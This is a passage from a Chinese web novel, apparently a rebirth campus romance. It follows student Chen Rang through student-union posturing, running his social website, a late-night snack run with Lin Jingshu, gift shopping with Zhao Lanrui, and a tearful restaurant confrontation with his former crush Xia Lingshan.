“小张同-志，你能及时认识到自己的错误，陈部长我还是比较欣慰的……年轻人犯错误不要紧，船到江心补漏虽迟，悬崖勒马为时未晚！” 陈让平时讲话不喜欢拽文。 但是刚才张恒宇都搁那儿“忝居”了，陈总也必须给他来一套啊。 张恒宇被某人拍得“娇躯一颤”。 没毛病！ 是这个味儿！ 举手抬足自带逼格，仿佛与生俱来的上位气度…… 这小子绝对是个“太子爷”，进校学生会就是来镀金的！ 张恒宇完全“迪化”。 金融一班众同学则都傻掉。 张学长先前姿态多高？ 此刻在班长面前却像个鹌鹑。 还有—— 人家班长没有吹牛啊，真是文体部副部长，且非院级，而是校级！ 这里请师爷出场翻译翻译——什么他妈的叫他妈的牛逼啊？ 米莱跟刘雯都很尴尬，脸颊滚烫。 刘雯同学先前还大声嚷嚷，陈让百分百在吹牛。 结果却是自己搞了大乌龙。 尬得嘛，不谈了。 小米同学觉得自己像是个小丑，或许还可以把“像”去掉。 昨晚她认定陈让在吹牛后，自诩已经摸透了某人。 有点东西，但是不多。 事实却是她的浅薄限制了想象力。 人家班长的舞台，早就超越学院、上升到了校级！ 所以吧，这波属于是陈让给她摸了，但是又没有真的给她摸。 六零六哥仨嘛—— 包括王大少在内，对陈让都只剩下崇拜。 陈六子这个老六，他真的很六啊。 坐劳斯莱斯来学校就罢了，人家还摇身一变、真成了装逼货张学长的直系领导。 工作的时候称职务——这味儿可太他妈对了！ “高山仰止，景行行止！” “虽不能至，心向往之！” “大丈夫，当如是！” 以上字句，大抵能描述出三五分，哥仨此刻对某人的敬仰之情。 整个下午，“陈·植物·让”的工作，就是背负双手，挺着并不存在的小肚腩，在各个学院的纳新会场晃悠——没办法，沈玲就是这么安排他的。 张恒宇就像是个狗腿子——其实完全可以把“像”去掉——跟在陈让身后，陪他视察各大学院的支部。 每到一个支部，用不着陈让动嘴，他就会隆重介绍——站在你们面前的，乃是校文体部在望江校区唯一的常务副部长！ 各支部负责人对“陈·植物·让”的称呼，稍微有那么一点不正式，张恒宇就会冷着脸，让对面注意措辞——工作的时候称职务！ 搞得陈总整个下午，脑海中都在不停播放《春庭雪》的BGM。 就很烦。 讲道理嘛，他又不是乔帮主和黄飞鸿，真没有随身带音响的习惯啊。 纳新活动结束后，望江校区这边，凡是混学生会的，都知道了有个叫陈让的大一新生、一步登天当了校文体部副部长，而且他妈逼味冲天。 连带着、“工作的时候称职务”这个装逼圣句，提前十年就在蜀大学生会圈子里传播开来。 陈总忙完沈玲安排的工作，已是下午六点，他叫上了张恒宇等各大支部的负责人，食堂吃了个颇为丰盛的“工作餐”。 某人堂堂A8级富人，当然不至于找沈玲报销，而是自掏腰包。 当然陈植物也不可能无缘无故的慷慨。 新官上任，根基不稳，还是需要笼络一下人心的。 吃完饭，回到宿舍，已经晚上八点。 陈让打开笔记本电脑，插上从王大少那儿薅来的无线网卡，开始浏览“众众网”的后台。 为什么不自己搞个无线网卡？ 不是陈总买不起，而是白嫖更有性价比！ 陈总这一生，就主打一个骑着共享单车去酒吧，该省省，该花花！ 看着每天都在稳定增长的日活量，陈总心里美滋滋，不由哼起小曲儿。 “你要让我来啊，谁他妈不愿意来，哪个犊子才不来，你家的墙又高，还四处搭炮台——” 中间这个过程，王子聪一直眼巴巴瞅着陈总——等某人忙完后把无线网卡还他。 今天搁外面折腾了一天，他的装逼系列帖《王少爷的日常》，都还没更新。 好不容易才在网上找到了快乐，现在的王少爷，完全把这事儿当成事业来干的，主观能动性拉满。 陈让忍俊不禁，记录下几个关键数据后，把网卡还给了王大少。 又半小时后，王大少更新完毕，美滋滋伸了个懒腰。 “又是逼气满满的一天啊，开心加愉悦！” 好奇心作祟，陈让把王子聪的苹果电脑薅了过来，瞅瞅他都更新了些啥。 这一看，陈让乐得不行。 王老五这个逼果然深谙“艺术来源于生活”的道理。 居然把自己今天滋狗学长的事迹，又套在了他身上——于是“陈植物”变成了“王植物”。 此时王大少把脑袋凑了过来，满脸讨好的说：“六爷，明天早餐咱想吃啥，卑微的小王给你买！” 陈让汗毛立起来了：“五哥，你别这样，我害怕……说吧，什么事情要兄弟我效劳的？” “嘿嘿，六子，是有个事儿……” 王大少搓着手掌。 “你那个‘众众网’，后台能看用户的详细资料吧，譬如在哪个学院、哪个专业、电话号码什么的。” “可以啊，怎么啦？” “众众网”虽然摒弃了“人人网”实名制社交那一套，不填具体资料也能玩。 但是想解锁更多功能的话，还是需要填上学院、专业和电话号码。 现在“众众网”那几千个的真实用户，也基本都填了的。 王子聪继续搓手：“六子，是这样啊，我有个女粉丝，叫‘栗子’的，她特别崇拜我，我想给她个机会，认识我一下。” 陈让翻白眼：“这事儿你找我干嘛，直接给她发私信啊！” “我发了啊，栗子妹妹没回我，她一看就是那种很容易害羞的女孩儿……你五哥我思来想去，做了个艰难的决定，决定抛下偶像包袱主动出击……” “是不是哦——” “骗你干嘛，你看我帖子！” 陈总点开《王少爷的日常》装逼系列帖。 在王子聪引导下，很快找到了那个叫“栗子”的女用户。 “栗子妹妹”果然吹了王大少很多彩虹屁。 “哥哥好厉害！” “欧尼酱，棒棒哒！” “哥哥文采斐然！” “哥哥这样的男人，就像黑夜中的萤火虫，走到哪里都是闪闪发光！” 陈总表情变得有些der了。 相信聪明的同学已经猜到了，所谓的“栗子妹妹”，压根就是杨艺团队捣鼓出来的“数字生命体”。 “六子，五哥我没骗你吧，求求了，你就把栗子妹妹的电话号码给我吧！” “那肯定不行啊，私自泄露用户的隐私，那可是行业大忌，甚至还触犯法律……话说你要人家小姑娘的电话号码干嘛，你不是在追米莱么？” 陈总不动声色转移话题。 “栗子妹妹”就是个“数字生命体”，有个der的电话号码。 但是他不敢说——怕王大少出离愤怒，然后把他刀了。 “别提了，我严重怀疑米莱这娘们儿眼瞎，她对你陈六子是主动的不行，对少爷我却是爱理不理的……明明论智慧跟武功，你都差我一点点的。还是栗子妹妹好，只有她一直崇拜跟欣赏我，我觉得她才是少爷我的天命女孩！” 陈总继续der。 神他妈“天命女孩”，王老五你这么赛博的？ “咳，五哥，网恋是没有好结果的，你千万别上头啊，栗子妹妹既然没有回你的私信，那就说明她不想跟你奔现啊……听我一句劝，有的女孩子，网上看起来萌萌哒，指不定现实里长得像奇趣蛋，就身高150体重也差不多那种……” 王子聪表示“少爷我不听”，而且还学会了自己给自己洗脑。 “六子……我相信自己的第六感，栗子妹妹绝对不是奇趣蛋，而是个又乖又萌的软妹子，指不定她就是‘沈幼楚’！” “不回我私信，绝对是因为害羞……她崇拜跟欣赏我总不是假的，我相信只要能要到她的号码，就一定可以攻破她的心房……” “……” 陈让努力控制上扬的嘴角——靠，这玩意儿比AK难压多了。 他再次强调了自己绝不可能泄露用户隐私。 然后暗戳戳给杨艺发了个信息，让她赶紧把数字生命体“栗子”干掉。 于是在九月底这个月黑风高的夜晚，王大少的“天命女孩”，就这么的、被某陈姓男子残忍“杀害”。 不搭理王子聪后，陈让继续研究后台数据，突然挂着的QQ响了，林静姝的头像在右下角闪动。 “陈让，晚安。” 陈总没多想，也回了个“晚安”——虽然现在才九点过。 林大美人很快回信。 “富贵同学，你平时十二点才睡的！” “那不是你先说的……” “好像……是的。” “还有话想说没？” “好像……没有。” “快去睡觉吧。对了，提前跟你说声，明天我还是会很忙，估计也没时间遛你……” “好吧。” 结果才过去两三分钟，林静姝的头像又开始闪烁。 “陈让，室友们都还没睡，吵吵闹闹的，我睡不着……” “要不你听会儿歌？周杰伦不是发新专辑了么，那首《烟花易冷》不错——” “好吧。” 陈让还是没多想，继续研究数据，边看边拿着笔、在笔记上写写画画。 这次时间久点，但也没超过五分钟，林静姝再次发来消息。 “陈让，芊芊说莫愁湖有条大鲤鱼成精了！” “那必不可能，上面有规定的，建国后动物不许成精，别说大鲤鱼了，小白龙放到现在也只能是条大泥鳅！” “芊芊还说……我们女生宿舍楼下有只猫会后空翻！” “这有啥，我也会啊——呦呦同学，话说你到底睡不睡啊？” 连续被打搅好几次，陈让有了些不耐烦——他是那种专心做事就会沉浸的人。 这时说的话，打的字，基本不经思考。 “好吧，那我真的睡觉了，晚安，富贵同学。” 看着林静姝发来的最后一条信息，以及她黯淡的头像，陈总愣了一会儿后，终于后知后觉。 “所以……她在想我？” 此时王子聪正在用他的苹果电脑，外放着苏打绿零六年发行的一首歌。 “你知道，就算大雨让整座城市颠倒，我会给你怀抱。受不了，看见你背影来到，写下我度秒如年、难捱的离骚……” 听着这样的歌词，陈让心脏悸动了一下，果断合上电脑，出门往经济学院女生宿舍楼下走。 居然有只猫会后空翻——陈总两辈子也没见过啊，必须得去瞅瞅！ 第90章 喜欢有无公式 第九十章 喜欢有无公式 经济学院女生宿舍楼。 林静姝跟某人聊天时，叶芊芊在窥屏，越看越忍不住。 “呦呦，我帮你——” 叶格格薅过林静姝的黑莓手机开始编辑。 “我——想——你！” 没能成功发送。 学神少女又把手机夺了过去。 “呦呦，你不想陈让？” “想。” “那为什么不让我发？” “陈让很忙。” “这狗东西再忙，也不至于陪你聊聊天都没时间吧？” 对话至此，林静姝重重皱眉。 “芊芊，陈让不是狗东西，他是全世界最好最好的人，不许你说他坏话。” “……” 叶格格表示很受伤。 她这边还在替林静姝鸣不平呢，转头人家就开启了“护夫模式”。 好吧，终究是僭越了。 “行行行，不说你家陈让，走，带你逛超市。” “芊芊，逛超市很无聊，我不想去。” “……” 好吧，终究是错付了。 此时林静姝手机响了，她看了看刚来的消息，桃花眼顿时一亮。 “林呦呦，你忽悠我吧，你们女生宿舍楼下，哪有什么会后空翻的猫，倒是有几对狗男女，在那儿互相喂口水，真恶心……下来吧，带你逛超市。” 学神少女的桃花眼，立马开始结蜂蜜，抓起小包包准备出门。 “呦呦，干嘛去？” “芊芊，陈让就在下面，他要带我逛超市！” “林呦呦！”叶芊芊表示自己好气，“你学过川剧变脸吧，刚还说逛超市没意思的！” 学神少女检索了一下的语言库，淡淡吐出两个字：“分人。” “……” 好吧，终究是冒犯了。 叶格格甚至想起了一句歌词。 “我应该在车底，不应该在车里，看着你俩有多甜蜜……” 一把薅住快走到门口的林静姝。 “呦呦，我也要去——让你俩喂我狗粮，今晚这电灯泡本格格当定了！” 几分钟后，看着陪着林静姝下楼的叶芊芊，陈总表示很诧异。 我跟林静姝两个好朋友，大手牵小手，花前月下，维系一下革命友谊，您叶格格跟着凑什么热闹？ 讲道理，二人行才叫维系友谊，三人游就成了必有我师。 叶芊芊瞪了某人一眼：“陈让，你瞅啥，本格格脸上有花？” “那倒没有，但是小的觉得格格您今天异常闪耀。” “去去去，跟你家林静姝走到一起，本格格自己都觉得自己像个村姑……” “哪怕格格您是村姑，您也是个闪闪发光的村姑！” “陈让，你真心觉得我闪耀？” “不然呢，格格您要不闪耀，怎么会成为爱迪生一生中最伟大的发明？” “……” 感情是在骂她当电灯泡！ 叶芊芊气得不行。 陈让这张臭嘴，比尼玛四九城那些老炮都要损，骂人都不带脏的。 接下来—— 一对好朋友，以及爱迪生最伟大的发明——合计三个移动单位——进了女生宿舍楼下的学院超市。 晚上十点左右，学院超市无比热闹。 超市老板显然是会做生意的，卖杂货跟零食、同时还卖奶茶。 超市旁边搞了个小型奶茶店。 生意异常火爆，竟是排着长队。 陈总瞅了一眼几个女生手中的奶茶，发现做的挺一般，杯子也带着廉价感。 “擦，心挺黑啊，果然女大学生的钱最好赚！” 心想这家奶茶店，也就开在女生宿舍楼下，靠着独家垄断才能做起来。 放到校外绝对门可罗雀，甚至倒闭。 陈总视线扫射，发现学院超市附近还有两家空铺面。 地理位置不好，属于犄角旮旯——想来这就是空着的原因。 隐约有了想法。 他这辈子能这么快挖到第一桶金，重生者的先知先觉只是一方面。 林静姝给他的那张银行卡，也提供了不小助力。 早就在想该如何报答。 林静姝当然不缺钱，肯定也没想过要他回报。 但是陈让自己不能也这么想——不能失了未来大帝的体统。 “要不送她一家奶茶店？后面还能做成品牌连锁。” 零九年，又是在大学校园，奶茶店可是波不小风口。 这个时间节点，蜜雪冰城、茶颜悦色、喜茶等品牌，要么还在孵化，要么干脆没有。 喜茶2012年才会成立。 茶颜悦色更晚，14年才会出来。 这个节点入局，属于恰逢其会。 陈让动了念头，盘算着把最偏僻位置那两间空铺都盘下来、开家奶茶店试试水。 以学院超市附属奶茶店的黑心程度，他的奶茶店只要开起来，很容易就能占据市场。 当然想法只是想法。 真要开——关系得够硬。 眼目前陈让在蜀大唯一称得上关系的，是对他有些好感的孙副校长，不过陈总没夯到拿这点破事儿去找孙柯。 还是那句话，好感度这种东西，用一次就会少一截，好钢得用到刀刃。 而且他越过学院直接去找孙柯，院方几个领导知道了，肯定会不高兴。 最优解是等众众网做出一定成绩、引起学院重视后，他去找院方相关领导拿铺面。 也就是说，此事得从缓。 “富贵同学，我要这个……还要那个……” 进了超市，学神少女就要陈让给她“买买买”。 林静姝肯定不缺钱，属于是想买什么就能买什么，但她很喜欢陈让给她买东西的过程，而且不知道为什么，她就是觉得陈让买的零食更好吃。 陈总能怎么办，林静姝点到什么，他就通通塞进购物篮。 敲黑板啊，这就叫“物质基础决定上层建筑”，别说谈恋爱了，哪怕“谈友爱”也是要花钱的！ 采购完毕，林静姝压低声音跟某人说，刚才叶芊芊在宿舍取笑她。 “笑你啥了？” “她说我整天都盼着你带我玩，都快成望夫石了，我反驳说我们只是好朋友，芊芊又说，好朋友是不会玩我脚的，只有恋人才会……陈让，要不我们试试谈恋爱吧？” “噗……林呦呦，你怎么会有这种想法，我跟你说，谈恋爱很可怕的，要说有意思，还是谈友爱有意思！” 陈总先是吓了一跳，然后信口胡诌。 为啥不敢答应？ 因为某人心里有逼数。 真跟林静姝确定关系了，林家和宋家，绝对会冒出来一堆对眼目前的陈总来说，血条都看不到的大boss。 某位对女儿有强烈控制欲的女士，甚至会化身灭绝师太，抽出倚天剑，斩下他的狗头。 为了保住“上头”，陈总只能选择委屈“下头”。 学神少女的求知欲被唤醒了：“陈让，谈友爱是很有意思，但是为什么谈恋爱很可怕？” “因为所以，科学道理——林呦呦，你别听叶芊芊瞎掰，相信我，好朋友才能长长久久一辈子，以后等咱俩都老掉牙了，我坐着轮椅，你给我打电话，我还是会出门给你买零食的。” 林静姝没有陈让想象中那么开心。 她表情恹恹的说： “陈让，难道我们老了都还没有住到一起吗？那我们还是当恋人吧，芊芊说当恋人就可以住到一起了。” “这个——” 陈让表情变得非常不满。 “林静姝，我发现你这人没良心！” “我有的。” “那你为什么只想着跟我谈恋爱，而不关心我老了后为什么要坐轮椅？” “对不起。” 林静姝表情变得惴惴。 她真的很害怕某人生气。 “呦呦同学，所以你懂了吧，谈恋爱没你想得那么简单，到处都是类似的小陷阱，以你现在的脑袋瓜子，整不明白的，我们还是继续当好朋友吧。” “好吧……” “你呀——” 陈让掐了掐林静姝粉嘟嘟的鹅蛋脸。 大庭广众，这一幕也不知道撒出去多少狗粮。 叶芊芊首当其冲，吃得饱饱的，甚至莫名其妙打了个嗝。 “陈让，你就不给本格格也买点啥？” “满足你——” 陈总随手从货架上拿过一袋向日葵种子——说人话就是瓜子。 “喏。” 叶芊芊好奇，问某人为啥给她瓜子。 “这不是普通的瓜子，而是一袋神奇的种子，格格您吃进去后，它就会在你心里生根发芽、然后长出一颗B树，这样你就不会要求室友的‘好朋友’给你买零食了。” “……” 叶芊芊发现陈让这狗东西损人是真牛逼。 “老母猪带胸-罩，一套又一套”，都不带重复的。 她气鼓鼓的说：“陈让，你请我吃东西是应该的，我发现你家林静姝什么都不懂，也就本格格心好，才会时不时教她些恋爱小技巧。” 陈总瘪嘴：“叶芊芊，你懂个der的恋爱小技巧啊，以后不许乱教林静姝！” 叶芊芊挺了挺并不存在的胸：“我怎么不懂了，本格格我六岁读‘张恨水’，八岁读‘席绢’，十岁读‘琼瑶’……” 陈让听得乐呵。 扯半天不就是个理论派么？ 呵呵哒，思想的巨人，行动的矮子！ 突然很想把叶芊芊介绍给牟佳佳认识。 第一，两人名字都带叠字。 第二，两人都喜欢看言情小说，然后用书里面的理论，教身边好姐妹谈恋爱。 什么叫缘分？ 这就是！ “叶格格，那我问你啊，你的头为什么……咳，嘴瓢了，重新来……” “假如你有男朋友，然后你男朋友去医院的路上，路过一家你最喜欢的蛋糕店，却没有买给你，你会怎么做？” 思考两秒后，叶格格气鼓鼓的说：“那我肯定直接问他，为什么不给我买啊，理由充分的话，就放他一马，要纯粹因为粗心，那他起码要脱层皮……” “所以说你懂个der的谈恋爱。” 翻了个白眼后，陈总看向林静姝，说呦呦同学你来回答。 学神少女就是学神少女，举一反三能力拉满。 “芊芊，你好没有良心，你男朋友都去医院了，你应该关心他的身体啊，而不是只关心你喜欢吃的蛋糕！” “……” 叶芊芊秒der。 几分钟后，陈让把林静姝送到了宿舍楼下，挥手跟她道别。 叶芊芊却还“到底意难平”。 她叫住陈让，说刚才那个不算，你再问我个问题，我肯定能答上来。 “注意听题——” 陈总满足了她。 “假如我就是你男朋友，我在去酒店开房的路上，路过你最喜欢的蛋糕店，却没有给你买，你会怎么做？” “陈让，同样的套路你还想在本格格我身上用两遍？我肯定问你，为什么去开房，跟谁开房啊。” “不信任我？分手！” “……” 把叶芊芊KO后，陈让还是没走成。 林静姝叫住了他，说我也要问个问题。 “陈让，假如我在去医院的路上——” 还没说完就被打断。 陈让满脸宠溺，揉了揉她无比柔顺的头发。 “傻瓜，你这个题设就不能成立，我怎么可能让你一个人去医院？” “昂——” 林静姝愉悦度直接拉满，桃花眼中波纹流转，闪耀微光，跟今晚的明媚月色交相辉映。 “芊芊，现在你相信了吧，陈让就是世界上最好最好的人。” 叶芊芊：“……” 似乎，大概，也许—— 又被这对“好朋友”按着喂了一大袋狗粮。 都想汪汪叫两声了，给这两人的“友谊”添个彩头。 回到宿舍，陈总打开电脑，继续进行刚才被林静姝打岔后、没能完成的工作——分析和整理众众网后台数据。 看着看着，突然注意到快十二点了，众众网居然注册了一个新用户。 而且接连发了好几个帖子。 本来匆匆一瞥，看清楚ID后，陈让怔住——“火星少女”——竟是林静姝。 陈总好奇心拉满，开始浏览她都发了哪些帖子。 “为什么我每天都想跟一个男生出去玩？” “跟那个男生牵手时，我为什么会浑身发痒？” “好朋友跟恋人有什么区别、怎么才能变成恋人？” “男生喜欢玩女生的脚，是出于什么心理？” “喜欢到底是什么，有具体公式吗？” 看完后，陈总心里的酥-麻感，根本抑制不住，于是他把刚才王子聪放过的那首歌，又点开听了一遍。 “我想我很适合，当一个歌颂者，青春在风中飘着……” “就算整个世界被寂寞绑票，我会给你怀抱。受不了、看见你背影来到，写下我、度秒如年难捱的离骚……” 第91章 真正的感情不需要考验 第九十一章 真正的感情不需要考验 免费教大家一个逻辑推理——昨天是周六，今天就是周日。 陈总今天睡了个懒觉，八点过才起床，看了看手机上的日期。 “2009年九月26日。” 距离国庆长假只剩三天。 学校是这么安排的，三十号开始放假，下个月七号收假。 相较高中，大学就这点好——节假日从来不打折。 众众网内测也一周了，杨艺团队收集了许多BUG，并且悉数修复。 陈总银弹攻势下，李云飞那边，收稿也是如火如荼，内容填充这块，跟其他竞品网站比，众众网绝对跟后世华为mate60有的一比——都挺遥遥领先。 综合考量后，陈让做了决定——国庆长假结束后，众众网正式公测！ 他脑袋里的诸多引流计划——也只有到公测版本上线后才会展开。 所以放假前这两天，以及整个国庆长假，陈总突然就闲了下来。 决定国庆回趟家。 众众网公测后他只会更忙，下次回家，怕要等到寒假，家里的老父亲和老母亲，该陪伴还是要陪伴的嘛。 另外就是趁这趟回德州，把宋女士给老陈家挖的坑填上。 恰好今天周末。 陈总决定去趟春熙路，逛逛那边的奢侈品店，挑几件拿得出手的物件。 银行卡里还躺着一千多个——买礼物不是问题，问题是买什么。 送什么东西，才能送到宋女士心趴上？ 陈总肯定谋定后动。 拿出纸笔，开始写画。 甚至用上了上辈子无聊到蛋疼时、研究过一段时间的犯罪心理学，给宋女士做了人物侧写。 “姓名，宋臻。” “性别，女。” “年龄，41岁。” “刚跟老公离婚，性格强势，控制欲强，执行力拉满……” “本科清华，硕士帝国理工，常驻国外，不过思想保守……” “很可能十年以上没有性-生-活，大概率内分泌失调……” 捣鼓完毕后，陈总表情变得很der。 尼玛，这不就是灭绝师太翻版！ 武功盖世的张教主都搞不定灭绝师太，他陈富贵真能搞定宋女士？ 罢了，暂不管能不能搞定，先把该买什么礼物解决了吧。 作为一个钛合金直男，陈总哪知道宋臻这种年龄段的女士喜欢啥，决定呼叫场外援助，给自己找个参谋。 要符合以下特质。 第一，女性。 第二，家境优渥，对奢侈品有一定了解。 第三，也是最重要的一点——能真心实意的帮忙。 简单做下排除法，唯一人选蹦了出来——赵兰蕤。 事实上昨天下午陈让就给赵兰蕤发了QQ信息，把这事儿囫囵说了一遍。 大概就是他家需要回一位女性长辈的礼，且这个礼价值不菲。 顺便也把他对宋女士的“人物侧写”，简单跟赵兰蕤描述了一下。 赵兰蕤一口答应。 两人约好，今天早晨九点，学校东大门碰头。 八点半，陈让捯饬完毕，准备出门。 王子聪居然没有睡懒觉，而是趴在电脑前查资料——装逼这条赛道，王少爷绝对是认真的。 他叫了一嗓子，说六子，这是准备出门跟哪个美女约会？ 陈总瘪瘪嘴，说王老五你不会想知道的。 王少爷逆反心理拉满。 “呵呵，五哥我非要知道呢？” “赵兰蕤。” “……” 王子聪脸颊开始抽搐。 用表情完美诠释了什么叫“已老实、求放过”。 “五哥，以后别那么叛逆了哦——听人劝，吃饱饭。” 陈让表情贱兮兮的，又往王子聪心窝子扎了一刀后，方才吹着欢快的口哨，出了寝室。 慢悠悠往东大门走。 沿路看到有几个女孩子，手中拿着印有众众网宣传文案的团扇，边走边讨论。 有钱好办事。 团扇昨天下午就印出来了，今天一大早、大几十个学生兼职团队，开始在武侯区几个高校分发，效果可谓拨杆见影。 说实话，此时的陈总，心中挺有成就感。 这段时间砸得钱、洒得汗，终究值得。 不过众众网能不能真正出圈，还是要看公测效果如何。 虽然陈总脑袋里的骚套路足够多，但是放在零九年是否适用，他也不敢百分百保证。 陈让走到西大门公交站时，才八点四十。 本以为会等一阵，却看到赵兰蕤从校门口款款而来。 赵大美女今天的穿搭，清纯中带着时尚，就挺赏心悦目。 见面后两人相视一笑，感觉到了对方对自己的尊重——都早到了二十分钟。 坐公交去春熙路的过程，赵兰蕤问了陈让一些细节。 “年龄四十出头，爱好……喜欢喝茶算不算？你看过韩剧吧，就把她脑补成那种铁了心要拆散男女主的中年女霸总……” “那有些难办了哦，这样性格的女性，往往是最难讨好的。” “所以才拉你当参谋啊。” “谢谢你的信任，我尽力吧……我觉着咱们这礼物，不求有功、但求无过，也不用像你说的、非要价格匹配，这样反而显得刻意……我的建议，咱们送条围巾和一套茶具吧？” 两人先讨论了送什么围巾。 这个赵兰蕤还是很懂的，很快划定了几个品牌，拍着胸脯跟陈让说可以包在她身上。 茶具这里卡住了。 赵兰蕤一窍不通。 陈总略懂一点，但是不多。 前世的他，三十岁左右才发家，接触的富人，基本都互联网赛道的。 这帮人有钱是有钱，却真没几个玩茶具——上一辈富人才喜欢。 “陈让，我舅舅没事儿就泡书房，也很喜欢喝茶，他应该懂……我给他打个电话吧。” 赵兰蕤边说边拨电话。 几分钟后结束通话，她看向某人： “陈让，我舅舅说他有个朋友，收藏了一套茶具，倒是有意愿出手，这套茶具也挺适合女性的，就是价格有点贵，要价一百二十万……舅舅说如果是我朋友、且真心想要的话，他可以帮忙砍砍价，就一百万给你……” 陈总听完，表示有些小震惊。 “赵同学，你舅舅什么人啊，说句话就能砍掉二十万？还有，上次阿衣那勤工俭学那件事，也是你舅舅搞定的吧……” “要真适合，要我肯定要，咱们买完围巾就可以去拿。” “这个吧……你待会儿去了不就知道啦？” 赵兰蕤眨了眨眼，卖了个小关子。 陈让倒也不是打破沙锅问到底的性格。 都拜托赵兰蕤帮忙了，就得对人家无条件的信任。 于是陈总跟赵兰蕤说，那就这么定了，叫你舅舅先把茶具拿到手吧，我这边随时可以转账。 两人到春熙路后，花了大概一个小时，选好了围巾，普拉达的牌子，五万多的价格。 显然——相较于那套百万茶具，这条围巾就是个添头。 值得一提—— 零九年的春熙路，逛着非常舒服。 美女挺多。 且没有脑袋上长摄像头的妖怪。 更没有圆脸寸头络腮胡造型的“林心如”。 买好礼物后，陈让跟赵兰蕤说，午饭想吃什么。 赵兰蕤落落大方：“我知道一家串串香，味道特别棒，早就想去吃啦！” 十来分钟后，两人到了那家物廉价美的串串香。 刚落座还没来得及点菜，突然响起个清冷中带着愠怒的声音。 “小陈，你怎么在这儿？” 循声望去，陈让有些der——居然是夏灵珊。 “靠，这婆娘阴魂不散啊……” 陈总想不明白为什么会碰到夏灵珊，但这里面是有底层逻辑的。 第一，蓉城的女大学生们，都喜欢周末逛春熙路。 第二，现在是饭点，这家串串香店价格亲民，味道不错，非常适合学生们消费。 这场偶遇，属于偶然中又有点儿必然。 夏同学今天的穿着打扮，透着股文艺范。 罕有的没有绑高马尾，头发略显蓬松，随意披在肩上。 发量极为优秀，色泽也好，黑如芝麻。 或许是逛街热的吧，她挽起了卫衣袖口，露出的嫩白小臂，几乎看不到绒毛，像是两截刚剥出来的莲藕——她是那种大美女中也极为罕有的冷白皮。 “小陈，你说话啊，你怎么在这儿，还是跟赵狐狸？” 随着距离拉近，夏灵珊愈发咄咄逼人。 目光如刀、割在赵兰蕤身上。 显然——她在吃醋。 陈总就挺莫名其妙。 你又不是我什么人，我在哪儿、跟谁在一起，跟你他妈有什么关系？ 他懒得回答。 扫了一圈——夏灵珊不是一个人。 身边跟着三个女孩，想来是她室友。 夏灵珊继续开口：“小陈，你为什么不说话，是心虚吗？” 陈让给了她一个大白眼：“夏同学，你很莫名其妙啊，我跟谁一起逛街，未必还需要跟你打个报告？” 夏灵珊表情变得非常委屈。 “小陈，你就不能好好跟我说话？” “是你先咄咄逼人的。” “你……你就是成心想气死我！” “我他妈到底怎么你了？” “你假装不理我，假装心里没有我，假装喜欢别的女孩子……” 夏灵珊又狠狠瞪了赵兰蕤一眼，做了个咬唇的动作。 “好吧，小陈，我承认我输了，这一套对我真的很有用……你快跟我和好，我可以原谅你整个暑假都不理我，我们回到以前那样。” 陈让皱眉。 和好？ 回到以前那样？ 能不能来个尿黄的大兄弟，把这位大小姐滋醒啊？ 以前什么样—— 老子竭尽全力对你好，你却始终吊着老子。 既不答应做我女朋友，也不允许我跟别的女孩子接触。 享受所有权利，却不履行任何义务。 世上哪有这般道理？ 陈总可以对天发誓——就是拿把枪比着他脑袋，他也不可能答应。 “夏灵珊，还记得我跟你说过的一句话么。” “什么话？” “梦里啥都有！” “……” 夏灵珊眼中开始酝酿水雾，委屈巴巴却也楚楚可怜。 陈让表示“呵呵”。 不好意思，现在这个版本的陈总，魔抗拉满。 妄图破老子的防？ 想屁吃！ 他转头看向赵兰蕤。 “我们去楼上包间。” “好。” 两人很快走到楼梯口。 “小陈，你给我站住！” 夏灵珊边跺脚边放狠话。 “你要敢上楼，我发誓这辈子都不理你了！” 某人回过头来：“一言为定！” “你——” 陈总没破防，夏大小姐破防了，眼泪噗噗直掉。 某人懒得搭理，直接上楼。 夏灵珊彻底崩溃，蹲下来哇哇的哭。 身边同伴都吓到了，不住安慰，顺便骂陈让——最多的词汇便是“狗渣男”。 “呵呵，确实是个狗渣男。” 陈让肯定想不到、此刻骂他是“狗渣男”的，居然不止夏灵珊的三个室友。 大堂角落处，有个女孩子，把方才那一幕，完整看在了眼中。 她叫李文秀——林静姝的室友。 只能说，这家价格亲民的串串香店，确实是整个春熙路最适合大学生消费的地方。 进了包厢，陈让有些不好意思：“赵同学，又让你看笑话了。” 赵兰蕤摇了摇头，说这有什么值得笑话的，不过啊，我还真有些好奇，你跟夏灵珊，到底是什么关系。 陈让恰好也有倾诉欲，便把他跟夏灵珊之间的故事，大概讲了一遍。 两小无猜到青梅竹马，初中三年懵懵懂懂的喜欢，高中三年情窦初开的热烈。 这个故事的后半截，陈总肯定没法讲。 按照前世脉络，他记吃不记打，大学四年依旧是个舔狗。 虽然“历史”已经改变，但是那更加不堪和泥泞的四年，终究是他亲身的经历。 整个过程，赵兰蕤安静聆听。 甚至把自己代入到夏灵珊的角色。 竟能清晰感受到，那时陈让对夏灵珊的喜欢，如此的真诚，这般的热烈…… 抑制不住的心疼，正想说几句安慰的话，却听到噔噔的脚步声。 包间门被推开。 夏灵珊站在门口。 竟是补了妆，瓜子脸精致万分。 紧随其后是她的三个室友。 陈让皱眉：“又怎么了，吃个饭都不让？” 夏灵珊没有理会某人，而是瞪向赵兰蕤。 “姓赵的，小陈从初中就喜欢我了，你凭什么跟我抢他？” 陈总开始找地缝。 这他妈哪儿跟哪儿？ 他跟赵兰蕤就是普通朋友，你夏大小姐或许不尴尬，但是老子尴尬。 赵兰蕤跟夏灵珊对视： “先不说抢不抢的问题，夏灵珊，还记得上次我跟你说的话么？既然陈让那么早就喜欢你了，那么你们为什么没有在一起呢，问题到底出在哪儿？” “你真想跟我撕，我随时奉陪，不过你能先回答我的问题么？” “这……” 夏灵珊顿时卡壳。 身上气势也没那么足了。 赵兰蕤冷笑：“夏灵珊，你到底想干嘛，让陈让继续围着你转，你再像以前那么吊着他？呵呵，要真是这样，你倒是不难过了，因为他都替你难过了……不觉得自己非常自私、甚至恶心？” 夏灵珊脸色发白：“你……你胡说，我没有……我都跟小陈说了，只要他在跟我表白，我就会接受，做他女朋友的！” “那你早干嘛去了？” “我……” 夏灵珊支支吾吾。 身上气势又弱了一大截。 赵兰蕤没打算就这么放过她。 “夏灵珊，哪怕陈让现在依旧还喜欢你，你也配不上他的喜欢！” “本质上你就是自私，你就是虚荣，你就是接受不了陈让不对你好、不围着你转以后，心里的巨大落差！” “认清楚自己吧，现在的你，根本没有喜欢一个人的能力！” 这些话，仿佛刀子砍在夏灵珊身上。 她脸色发白，呼吸凝滞，完全招架不住。 